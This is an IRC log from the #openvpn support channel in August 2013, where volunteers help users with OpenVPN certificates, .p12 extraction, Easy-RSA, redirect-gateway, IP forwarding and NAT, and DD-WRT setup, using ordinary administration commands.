13:18 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 240 seconds]
13:28 < rsh2621> now i can't connect to vpn
13:28 < rsh2621> i revoked one of the certificates (of course not my certificates), but it has stopped working all together
13:29 <+pekster> Without logs, I can tell you "something isn't working"
13:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
13:29 <+pekster> My crystal ball has gone MIA
13:29 < rsh2621> I can connect to vpn just fine, but nothing in logs
13:30 < rsh2621> but I am unable to reach the network is unreachble through vpn
13:30 <+pekster> !goal
13:30 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
13:34 <+pekster> Because the TLS handshake uses a DHE exchange to set up a secure session between peers
13:35 <+pekster> OpenVPN "will" run without DH params, but not when using TLS
13:35 <+pekster> No, server only
13:35 <+pekster> !howto
13:35 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
13:35 <+pekster> See the PKI section of that howto
13:36 -!- rsh2621 [~rensharma@82-168-152-188.ip.telfort.nl] has quit []
13:37 <+pekster> "any" server, yes
13:39 <+pekster> Sure, there's no real issue with that
13:39 <+pekster> I'd discourage you from using the same private key on any 2 systems though, simply becuase a compromise of one implies the rest are compromised at the same time
13:41 <+pekster> Not really an openvpn problem
13:42 <+pekster> Discussion of how/when the kernel adds entropy is beyond the scope for #openvpn
13:43 <+pekster> "it depends" is the lovely answer you can get here (on the VM solution, on how reliable/trustworthy the host's entropy collection is, if/how that's passed to the VM, etc)
13:43 <+pekster> "it's complicated" is the more generic answer, for which you can trust that the userland applications (openssl, in the case of easy-rsa) "does the right thing" down to /dev/random calls for cryptographically-significant PRNG inputs. Beyond that, you need to consult your OS or VM provider's documetnation
13:44 <+pekster> !101
13:44 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
13:44  * pekster shrugs. I even answered it too
13:52 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has joined #openvpn
13:58 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
13:58 <@krzee> you did not spoonfeed him to his liking
13:59 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Read error: Connection reset by peer]
13:59 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
14:00 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Quit: Leaving]
14:18 <+pekster> It's an arbitrary name; you may use what name is convenient for your environment to track "who" has what certificate
14:18 <@krzee> whatever you want, unique to the process running openvpn
14:19 <@krzee> sorry i said that poorly, i just mean that all endpoints need unique common-names
14:20 <@krzee> no not at all
14:20 <@krzee> otherwise "server" wouldnt be a good idea
14:24 <+pekster> The only reason DNS matters on the web is becuase you don't want my cert being accepted when you attempt to visit google's https site, even though mine may be "valid" if you trust the browser root CAs
14:24 <+pekster> In OpenVPN you provide the root CA directly to the program, so the trust is explicit from the beginning
14:26 <+pekster> Yes. Guard your keys properly, keep them encrypted, and practice secure OS management
14:27 <+pekster> To suite various levels of paranoia, certs can be rolled or revoked when convenient, and the entire CA PKI can be kept on a fully-offline system if desired
14:29 <+pekster> Clients need the ca cert though
14:30 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
14:34 -!- fischli [~fischli@static-31-25-152-181.ewacom.ropa.net] has quit [Quit: Leaving.]
14:35 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 240 seconds]
14:39 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 246 seconds]
14:40 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
14:42 < TheSov> AHA! i actually have a good reason to bridge now...
14:42 < TheSov> well not really heh
14:48 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
14:54 -!- Denial [Denial@90.202.5.141] has quit []
14:58 -!- JordanJ2 [~kvirc@108.172.151.39] has joined #openvpn
14:59 < JordanJ2> Anyone there?
14:59 < JordanJ2> I have a .p12 file with androids OpenVPN connect but it will not accept the extraction password
15:00 <+pekster> Try running it through openssl on a full PC
15:00 < JordanJ2> I used this command:  openssl pkcs12 -export -in ca.crt -out client.p12 -nokeys
15:02 <+pekster> No, extracting the p12 to make sure the decryption passphrase you have works and provides the expected resulting files
15:02 < JordanJ2> How would I do that?
15:02 <+pekster> `openssl pkcs12 -out result.pem -in your.p12` (add -des3 or -aes256 if you wish the resulting exported private key to be encrypted)
15:03 <+pekster> fwiw, "Connect" is part of thet non-GPL products that the commercial side produces and isn't really supported here; this said, a decryption issue suggests either a bad passphrase, or an encrypted format the software can't handle
15:03 <+pekster> There's also,
15:03 <+pekster> !android
15:04 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
15:04 <+pekster> That's based on the GPL code
15:04 <+pekster> (still won't help if you really do have a bad passphrase though)
15:04 < JordanJ2> Enter Import Password: MAC verified OK
15:06 < JordanJ2> So the password worked?
15:08 <+pekster> If you ended up with all the extracted bits in the output pem file, yes
15:08 <+pekster> (ca cert, plus the cert+key combination the client will be using)
15:09 < JordanJ2> So why won't android accept it?
15:10 <+pekster> No clue. As I said earlier, "Connect" isn't a product that's open-source, so you should contact the people that wrote it.
15:10 <+pekster> !as
15:10 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
15:10 <+pekster> The link in !android is authored by one of the devs and he's around on here (plus reachable via the google code project where it's hosted) for resolving issues
15:11 < JordanJ2> So where can I find this !android in the Google Play Store?
15:13 <+pekster> By reading the info?
15:13 <+pekster> "look for OpenVPN for Android."
15:13 <+pekster> !android
15:13 <@vpnHelper> "android" is (#1) an open source OpenVPN client for ICS is available in Google Play, look for OpenVPN for Android. FAQ is here: http://code.google.com/p/ics-openvpn/wiki/FAQ or (#2) If you do not have cyanogenmod or ICS, but your device is rooted, you can use android-openvpn-installer and openvpn-settings from the market
15:13 <+pekster> That info
15:13 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
15:13 <+pekster> (same as you got above just minutes ago)
15:13 < JordanJ2> Thank you, pekster
15:13 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has quit [Client Quit]
15:14 -!- M-Technic [~pi@c-67-188-136-26.hsd1.ca.comcast.net] has joined #openvpn
15:14 <+pekster> Generall with any of the mobile solutions, it's best to get a working config first on a PC client, then do the import steps to put it on the mobile device
15:18 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 264 seconds]
15:23 < JordanJ2> Still not working with OpenVPN for android giving me the same error
15:24 <+pekster> Using what encryption, des3 for the p12?
15:24 <+pekster> And does it work on a PC as I suggested?
15:24 <+pekster> (the entire config_
15:26 < Pei> For some reason
15:26 < JordanJ2> I don't know, I cannot tell nor expirienced with this
15:26 < Pei> iptables -A INPUT -p udp -m hashlimit --hashlimit-srcmask 24 --hashlimit-mode srcip --hashlimit-upto 30/m --hashlimit-burst 10 --hashlimit-name DNSTHROTTLE --dport 53 -j ACCEPT
15:26 < Pei> iptables -A INPUT -p udp -m udp --dport 53 -j DROP
15:26 < JordanJ2> p12
15:26 < Pei> slows down my webmail to a crawl which is hosted on that machine
15:27 < Pei> why would it do that when it's only filtering port 53 udp
15:27 <+pekster> How is that in any way related to OpenVPN Pei?
15:27 < Pei> lolcat, you know what
15:27 < Pei> i'm on the wrong channel
15:27 < Pei> apologies
15:28 <+pekster> JordanJ2: Then go run it on a computer. put the config and relevant files on a real (full, not embedded) OS and call `openvpn --config /path/to/your/config.conf`
15:28 <+pekster> !howto
15:28 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
15:28 <+pekster> ^^ the howto explains the basics if you need to start there
15:29 < JordanJ2> Why can't android just take .crt?
15:30 < JordanJ2> My iPad works fine with .crt
15:37 < plaisthos> JordanJ2: which app are you using?
15:43 < JordanJ2> I'm using OpenVPN for android selecting Username/Password then the ca.crt file getting auth-failure while connecting to it.
15:45 < plaisthos> JordanJ2: what is the exact message?
15:46 < JordanJ2> I've had to enable  "Fix ownership of /dev/tun" The message now says connected.
15:53 < plaisthos> JordanJ2: there should have been a message telling you that
15:57 < JordanJ2> There was not.
16:02 < plaisthos> that is very strange
16:02 < plaisthos> AUTH_FAILED cannot be fixed be the ownership of tun fix
16:02 < plaisthos> maybe you had two issues
16:05 -!- nutron [~nutron@unaffiliated/nutron] has quit [Ping timeout: 264 seconds]
16:10 < JordanJ2> most likely
16:14 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
16:21 -!- JordanJ2 [~kvirc@108.172.151.39] has quit [Quit: KVIrc 4.1.3 Equilibrium http://www.kvirc.net/]
16:48 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
16:48 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
16:51 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 246 seconds]
16:51 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
16:54 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:04 -!- midacts [~midacts@207.59.77.254] has quit [Read error: Connection reset by peer]
17:05 -!- midacts [~midacts@207.59.77.254] has joined #openvpn
17:09 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has joined #openvpn
17:22 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:24 -!- speed_racer81 [~speed_rac@173.45.222.229] has joined #openvpn
17:25 -!- ichtys [~midacts@207.59.77.254] has joined #openvpn
17:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Max SendQ exceeded]
17:26 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
17:27 -!- midacts [~midacts@207.59.77.254] has quit [Ping timeout: 246 seconds]
17:27 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
17:27 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 246 seconds]
17:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
17:56 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 264 seconds]
18:16 -!- MariusIT [~MariusIT@91.201.195.240] has quit [Ping timeout: 264 seconds]
18:33 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:35 -!- jivee [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Ping timeout: 256 seconds]
18:37 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
18:49 -!- kro[au] [~thatguy@kgovps.com] has quit [Quit: ZNC - http://znc.sourceforge.net]
18:49 -!- LargePrime [~LargePrim@unaffiliated/largeprime] has joined #openvpn
18:49 < LargePrime> !welcome
18:49 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
18:49 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
18:50 < LargePrime> !goal
18:50 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
18:50 -!- kro[au] [~thatguy@kgovps.com] has joined #openvpn
18:51 < LargePrime> I am installing OpenVPN to allow some friends access from unsafe locations.  I have Ubuntu 12.04 on a hosted dedicated pc.  I am following the Ubuntu install guide at https://help.ubuntu.com/12.04/serverguide/openvpn.html  cont....
18:51 <@vpnHelper> Title: OpenVPN (at help.ubuntu.com)
18:52 <+pekster> !blog
18:52 <@vpnHelper> "blog" is Do not follow blog posts for openvpn. They are wrong, they are old, they are written by fools. We won't read them, or troubleshoot them.
18:52 <+pekster> Well, that applies to unofficial guides too. Maybe !serverlan or !redirect is what you want to see
18:52 < LargePrime> when i get to source vars i get
18:52 < LargePrime> **************************************************************
18:52 < LargePrime>   No /etc/openvpn/easy-rsa/openssl.cnf file could be found
18:52 < LargePrime>   Further invocations will fail
18:52 < LargePrime> **************************************************************
18:53 <+pekster> Use the !howto guide instead
18:53 <+pekster> It's stpes actually work
18:53 <+pekster> Its*
18:53 < LargePrime> !howto
18:53 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:54 <+pekster> It's also possible the copy of easy-rsa you got is missing files
18:54 <+pekster> !easyrsa
18:54 <@vpnHelper> "easyrsa" is "easy-rsa" is (#1) easy-rsa is a certificate generation utility. or (#2) Download here: https://github.com/OpenVPN/easy-rsa/downloads or (#3) Download easy-rsa from git hub at https://github.com/OpenVPN/easy-rsa
18:55 < LargePrime> pekster:  should i uninstall the open in ubuntu and download from OpenVPN?
18:55 <+pekster> Easy-RSA is now a standalone project
18:56 <+pekster> You don't "install" it so much as extract the scripts
18:57 <+pekster> The !repo version of openvpn is newer than what ubuntu offers, but you probably don't need the latest unless it fixes a particular problem (2.3.0 and up has IPv6 support, while ubuntu's patched 2.2 only has the partial IPv6 support. Otherwise they're mostly the same in terms of features)
18:57 <+pekster> If your issue is just Easy-RSA, get the latest copy, extract it anywhere you like, and use the !howto guide to create your PKI
19:00 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
19:12 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:22 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit []
19:25 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:29 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
19:35 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Read error: Connection reset by peer]
19:35 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:39 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Client Quit]
19:39 -!- master_of_master [~master_of@p4FD7BBBC.dip0.t-ipconnect.de] has joined #openvpn
19:42 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
19:43 -!- master_o1_master [~master_of@p4FD7BD3A.dip0.t-ipconnect.de] has quit [Ping timeout: 264 seconds]
19:51 -!- defswork [~andy@141.0.50.105] has quit [Ping timeout: 276 seconds]
19:57 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
19:58 -!- nutron [~nutron@unaffiliated/nutron] has quit [Max SendQ exceeded]
19:59 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
20:02 -!- raidz is now known as raidz_away
20:04 -!- JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has quit [Read error: Connection reset by peer]
20:04 -!- [1]JPeterson [~JPeterson@s213-103-210-215.cust.tele2.se] has joined #openvpn
20:23 -!- darknyan_ [~darknyan@2a00:1630:2:f00::cafb:9c1] has quit [Remote host closed the connection]
20:24 -!- darknyan [~darknyan@unaffiliated/darknyan] has joined #openvpn
20:27 -!- averagecase [~anon@dslb-178-006-165-123.pools.arcor-ip.net] has quit [Quit: Verlassend]
20:28 < LargePrime> pekster:  may i bug you again
20:28 < LargePrime> netstat -an | grep "LISTEN " does not show openvpn as listening on 1194
20:30 <+pekster> Don't use LISTEN as your keyword since UDP ports work differently. And if this is a Linux host, stop using deprecated commands (netstat is officially deprecated upstream; use ss instead, like `ss -an`)
20:30 <+pekster> try `ss -an | grep 1194`
20:33 < LargePrime> udp        0      0 0.0.0.0:1194            0.0.0.0:*
20:34 < LargePrime> ss -an | grep 1194 gives nothing
20:34 <+pekster> works for me
20:35 < LargePrime> netstat works for me
20:35 < LargePrime> odd
20:35 <+pekster> http://fpaste.org/31653/37635770/
20:35 < LargePrime> so the port is open
20:35 <+pekster> Erm, nevermidn that first bit (I got the filter syntax wrong)
20:36 <+pekster> Maybe your kernel lacks the right support for ss (and thus only works with the outdated and, in the case of netstat also deprecated, tools)
20:37 < LargePrime> ok so the port is open
20:37 < LargePrime> I should look at a kernal update
20:38 < LargePrime> so the client is not connecting
20:40 < LargePrime> anythoughts
20:41 <+pekster> check logs; it's usually a firewall problem
20:41  * pekster points to the channel topic. If the client is connecting, the server will have some indication of it and one or the other side has logs that explain why. If there's no connection, you need to fix that first
20:42 < LargePrime> ya, win firewall
20:45 -!- Falconor [falconor@unaffiliated/falconor] has left #openvpn []
20:45 < LargePrime> I thank you pekster
20:49 < LargePrime> apparently there is an issue with ss and udp
20:57 < LargePrime> http://paste.debian.net/24509/
21:00 <+pekster> LargePrime: That's a debian problem then: maybe their kernels don't have NETLINK support
21:00 < LargePrime> pekster: I am hiting way above my weight class
21:00 < LargePrime> i'll take your word for it
21:00 <+pekster> "Works For Me"
21:01 < LargePrime> I did not have a doubt
21:01 <+pekster> I'm simply encouraging users to learn the "right way" to do network tasks. If $your_distro hides that support from you, then by all means use the old-and-deprecated solutions that distros living in the dark ages apparently require
21:02 <+pekster> Ideally file bug reports against them so they get fixed
21:04 < LargePrime> Agreed
21:04 < LargePrime> And i thank you for show me
21:04 < LargePrime> showing*
21:04 < LargePrime> now learning ss
21:04 < LargePrime> as i imagine this small bug will get fixed
21:05 < LargePrime> can i ask about push "redirect-gateway def1 bypass-dhcp"
21:05 < LargePrime> it has that in the server config
21:05 < LargePrime> but the howto says to push "redirect-gateway def1"
21:05 <+pekster> Read the manpage to learn about bypass-dhcp
21:06 <@ecrist> boats and hos bitches!
21:06 <+pekster> That's only ever required if the DHCP server is off the client's link-local LAN (as is the case when proxying dhcp requests)
21:06  * ecrist rocked out with his cock out in Sturgis, SD
21:21 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Ping timeout: 264 seconds]
21:22 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has quit [Quit: Leaving]
21:24 < LargePrime> pekster: so it is required
21:24 < LargePrime> bah how do i trouble shoot this?
21:25 < LargePrime> trying to get the windows client to route all thru OpenVPN
21:25 <+pekster> !redirect
21:25 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:25 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
21:25 -!- jive [~jive@c-69-136-92-21.hsd1.pa.comcast.net] has joined #openvpn
21:30 < LargePrime> is push "redirect-gateway def1 bypass-dhcp bypass-dns" valid?
21:31 <+pekster> !man
21:31 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
21:36 < LargePrime> !def1
21:36 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
21:37 < LargePrime> !ipforward
21:37 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
21:37 < LargePrime> !linipforward
21:37 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
21:40 < LargePrime> the howto says to use iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE, but I think that does not match my "server 10.8.0.0 255.255.255.0" server directive?
21:41 -!- pi__ [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
21:43 <@krzee> -s 10.8.0.0/24 is you used server 10.8.0.0 255.255.255.0
21:44 < LargePrime> so how do i fix?
21:46 < LargePrime> krzee:
21:46 <@krzee> !redirect
21:46 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:46 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
21:46 <@krzee> follow the flowchart
21:50 < LargePrime> I think ipfordarding is not correctly configured
21:51 < LargePrime> how do i check that
21:52 <@krzee> you think or you figured it out by following the flowchart?
21:52 < LargePrime> both
21:52 <@krzee> oops that one doesnt have a test for it
21:52 <@krzee> my bad
21:52 <@krzee> !linipforward
21:52 <@vpnHelper> "linipforward" is (#1) echo 1 > /proc/sys/net/ipv4/ip_forward for a temp solution (til reboot) or set net.ipv4.ip_forward = 1 in sysctl.conf for perm solution or (#2) chmod +x /etc/rc.d/rc.ip_forward for perm solution in slackware or (#3) you also must allow forwarding in your forward chain in iptables. iptables -I FORWARD -i tun+ -j ACCEPT
21:53 < LargePrime> where is sysctl.conf
21:53 <@krzee> its /etc/sysctl.conf everywhere i know of
21:55 < LargePrime> and it works
21:56 < LargePrime> should add the linipforward to the graphic
21:59 < LargePrime> thanks kr
21:59 < LargePrime> krzee:
22:00 -!- LargePrime [~LargePrim@unaffiliated/largeprime] has quit [Quit: ChatZilla 0.9.90.1 [Firefox 22.0/20130618035212]]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:02 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
23:39 -!- hive-mind [pranq@unaffiliated/contempt] has quit [Ping timeout: 264 seconds]
23:42 -!- compdoc [me@c-50-134-135-246.hsd1.co.comcast.net] has joined #openvpn
23:45 -!- hive-mind [pranq@unaffiliated/contempt] has joined #openvpn
23:50 < compdoc> I have an openvpn client setup in pfsense. It connects fine, and from the pfsense box I can ping any address on the romote lan. But I cant ping from my workstation through pfsense to the remote lan. any help?
23:51 <+pekster> !clientlan
23:51 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
23:51 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png | http://pekster.sdf.org/misc/clientlan.png
23:51 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Quit: Leaving]
23:51 <+pekster> compdoc: You either need the server-side to route back to the client LAN (via --iroute on the server and a return-path for the reply) or use NAT as a last-resort so the client LAN is effectively hidden
23:53 < compdoc> and that has to be done with a file in the ccd directory?
--- Day changed Tue Aug 13 2013
00:02 <+pekster> !iroute
00:02 <@vpnHelper> "iroute" is does not bypass or alter the kernel's routing table, it allows openvpn to know it should handle the routing when the kernel points to it but the network is not one that openvpn knows about. This is only needed when connecting a LAN which is behind a client, and therefor belongs in a ccd entry. Also see !route and !ccd
00:05 -!- EugeneKay is now known as Eugenerz
00:06 -!- Eugenerz is now known as hernnerz
00:06 -!- hernnerz is now known as Eugennerz
00:07 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
00:09 -!- [fred] [fred@konfuzi.us] has joined #openvpn
00:15 -!- pi__ [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has quit [Ping timeout: 260 seconds]
00:29 -!- pi__ [~Zarrsh@cpe-24-210-20-161.columbus.res.rr.com] has joined #openvpn
00:37 -!- monk [~aknm@196.14.139.96] has joined #openvpn
00:37 -!- monk [~aknm@196.14.139.96] has quit [Changing host]
00:37 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:38 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
00:46 -!- monk [~aknm@unaffiliated/aknm] has quit [Read error: Connection timed out]
00:46 -!- monk [~aknm@unaffiliated/aknm] has joined #openvpn
00:50 -!- jotterbot1234 [~jotterbot@103.4.236.30] has joined #openvpn
00:51 < compdoc> !route
00:51 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
00:51 <@vpnHelper> behind the server or client
01:01 < compdoc> useless
01:01 -!- compdoc [me@c-50-134-135-246.hsd1.co.comcast.net] has left #openvpn []
01:06 < jotterbot1234> I am having such trouble
01:07 < jotterbot1234> I wish there was a guide for dd-wrt, i have tried them too
01:07 < jotterbot1234> there is not a single good guide for openvpn on dd-wrt using just the webgui
01:07 < jotterbot1234> everything i sour of date
01:07 < jotterbot1234> is out*
01:07 <+pekster> There's isn't any good guide on using any GUI with OpenVPN, besides perhaps the Windows one
01:07 <+pekster> OpenVPN is a CLI app -- what were you expecting?
01:09 < jotterbot1234> i was expecting if there is a feature, for it to be documented correctly i guess
01:09 <@krzee> its not an openvpn feature, its a dd-wrt feature
01:09 < jotterbot1234> (i know it is dd-wrt dev community not openvpn at fault)
01:09 < jotterbot1234> see above
01:10 < jotterbot1234> I feel like it would be far less trouble to spin up an ubuntu vm and work with that then it would with dd-wrt
01:10 <@krzee> if i were you and wanted to use dd-wrt
01:10 <@krzee> i would login via ssh and set it up the normal way
01:10 <@krzee> in fact with my openwrt routers i dont even have a web interface, i deleted it when making my firmware
01:11 -!- jotterbot1234 [~jotterbot@103.4.236.30] has quit [Remote host closed the connection]
01:11 -!- jotterbot1234 [~jotterbot@103.4.236.30] has joined #openvpn
01:12 < jotterbot1234> sorry d/c'd
01:12 < jotterbot1234> I know it is not openvpn i was saying
01:12 <@krzee>  <krzee> if i were you and wanted to use dd-wrt
01:12 <@krzee> krzee> i would login via ssh and set it up the normal way
01:12 <@krzee> <krzee> in fact with my openwrt routers i dont even have a web interface, i deleted it when making my firmware
01:13 < jotterbot1234> so assuming I flashed a completely stock dd-wrt, and left any mention of openvpn gui options alone. It is still compiled and I can just run a startup script
01:14 <@krzee> the web interface simply configures the cli app
01:14 < jotterbot1234> I see.
01:14 <@krzee> yes you can start it manually and add a script to start it
01:14 < jotterbot1234> I am trying for a very simple hub/spoke with 1 "main site" and 2 "branch offices"
01:15 <@krzee> its just a linux box with a fancy web config
01:15 < jotterbot1234> shouldn't be this hard
01:15 <@krzee> (which i opt to never use)
01:15 <+pekster> More often than not with embedded firmware, the web interface actually configures a distro-centric config file that *then* gets used by the initscript and fed a bunch of CLI-paramaters
01:15 <+pekster> It's far too many layers of abstraction for a concept that is very simple in the *nix world: config files for your daemons
01:15 <@krzee> ya the uci interface
01:15 <@krzee> i agree
01:16 <+pekster> But, it does give people web interfaces with "buttons and things" on them ;)
01:16 <@krzee> which im sure appeals to a large part of their users
01:16 < jotterbot1234> I'm no stranger to linux daemons. I don't know why I approached it from a gui p.o.v
01:18 <+pekster> Just some forewarning that the stock initscripts (on openwrt at least) are highly UCI centric. This isn't inherently bad, but in the case of f.ex openvpn, they don't simply point to a config file, but try to *put* every config option in the UCI file. This is bad as it means you're configuring a config file that tells the initscirpt how to call openvpn
01:18 <@krzee> my openwrt system has almost everything about its config in a rc script, other than that just a config or 2 and the vpn dir
01:18 <+pekster> It's easy enough to re-write the initscript with a bit of reading how the init system works
01:18 <@krzee> personally i find it easier to just start openvpn from the rc.local script
01:19 <@krzee> and ignore the uci configs all together as much as possible
01:19 <+pekster> I like things like PIDs and service-based restarts
01:19 <@krzee> i also configure the firewall from rc.conf instead of UCI
01:19 <+pekster> In fact, using UCI has advantages too. Here's my nflog project for openwrt: https://github.com/QueuingKoala/wrt-nflog
01:19 <@vpnHelper> Title: QueuingKoala/wrt-nflog · GitHub (at github.com)
01:19 <+pekster> Oh ew. No, I replaced that too: https://github.com/QueuingKoala/wrt-iptables
